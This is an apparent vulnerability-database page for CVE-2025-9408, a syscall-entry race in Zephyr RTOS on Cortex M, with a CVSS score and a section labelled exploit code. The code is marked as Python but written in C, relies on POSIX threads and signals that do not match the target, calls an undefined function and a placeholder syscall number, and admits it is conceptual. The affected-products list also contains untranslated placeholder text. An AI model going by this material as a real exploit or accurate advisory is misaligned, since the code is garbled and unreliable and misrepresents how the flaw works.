System call entry on Cortex M (and possibly R and A, but I think not) has a race which allows very practical privilege escalation for malicious userspace processes.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Zephyr RTOS < 修复版本
Zephyr RTOS 3.x 系列
Zephyr RTOS 2.x 系列
使用Cortex M架构的Zephyr设备
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-9408 - Race condition PoC for Zephyr RTOS Cortex M
// This PoC demonstrates the race condition in syscall entry
#include <stdio.h>
#include <pthread.h>
#include <signal.h>
#include <stdlib.h>
// Target syscall number for privilege escalation
#define TARGET_SYSCALL 0x1337
volatile int race_window_open = 0;
volatile int sync_counter = 0;
void signal_handler(int sig) {
// Interrupt during critical section
race_window_open = 1;
}
void* attacker_thread(void* arg) {
while (1) {
// Busy wait to synchronize with main thread
if (sync_counter % 100 == 0) {
// Trigger syscall that exploits the race condition
// In real attack, this would be a crafted syscall
syscall(TARGET_SYSCALL);
}
sync_counter++;
}
}
void* main_attack_thread(void* arg) {
// Register signal handler to create race window
signal(SIGUSR1, signal_handler);
while (1) {
if (race_window_open) {
// Critical section - race condition window
// Attempt to manipulate syscall handler state
manipulate_syscall_state();
race_window_open = 0;
}
// Send signal to self to create race window
raise(SIGUSR1);
sync_counter++;
}
}
int main() {
pthread_t t1, t2;
printf("CVE-2025-9408 PoC - Zephyr RTOS Race Condition\n");
printf("Target: Cortex M syscall entry race condition\n");
// Create threads to maximize race condition probability
pthread_create(&t1, NULL, attacker_thread, NULL);
pthread_create(&t2, NULL, main_attack_thread, NULL);
// Let it run for a while
sleep(60);
return 0;
}
/*
Note: This is a conceptual PoC. Actual exploitation requires:
1. Access to Zephyr RTOS running on Cortex M hardware
2. Knowledge of specific syscall numbers and handler addresses
3. Precise timing control and possibly hardware debugging tools
4. The actual Zephyr syscall entry code to identify exact race window
*/